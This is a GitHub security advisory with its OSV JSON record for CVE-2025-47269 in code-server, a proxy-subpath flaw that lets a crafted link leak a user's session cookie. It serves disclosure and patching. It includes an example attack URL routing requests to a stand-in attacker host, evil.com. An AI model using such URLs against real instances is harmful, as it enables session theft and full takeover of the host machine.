GHSA-P483-WPFP-42CJ
Vulnerability from github – Published: 2025-05-09 19:34 – Updated: 2025-05-09 21:39Summary
A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.
Details
Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token.
Impact
Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.
Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.
With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.
Patches
Patched versions are from v4.99.4 onward.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "code-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.99.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-47269"
],
"database_specific": {
"cwe_ids": [
"CWE-441"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-09T19:34:35Z",
"nvd_published_at": "2025-05-09T21:15:51Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token.\n\n### Details\n\nFailure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://\u003ccode-server\u003e/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user\u0027s session token.\n\n### Impact\n\nAny user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.\n\nNormally this is used to proxy local ports, however the URL can reference the attacker\u0027s domain instead, and the connection is then proxied to that domain, which will include sending cookies.\n\nWith access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.\n\n### Patches\n\nPatched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.",
"id": "GHSA-p483-wpfp-42cj",
"modified": "2025-05-09T21:39:15Z",
"published": "2025-05-09T19:34:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47269"
},
{
"type": "WEB",
"url": "https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e"
},
{
"type": "PACKAGE",
"url": "https://github.com/coder/code-server"
},
{
"type": "WEB",
"url": "https://github.com/coder/code-server/releases/tag/v4.99.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "code-server\u0027s session cookie can be extracted by having user visit specially crafted proxy URL"
}
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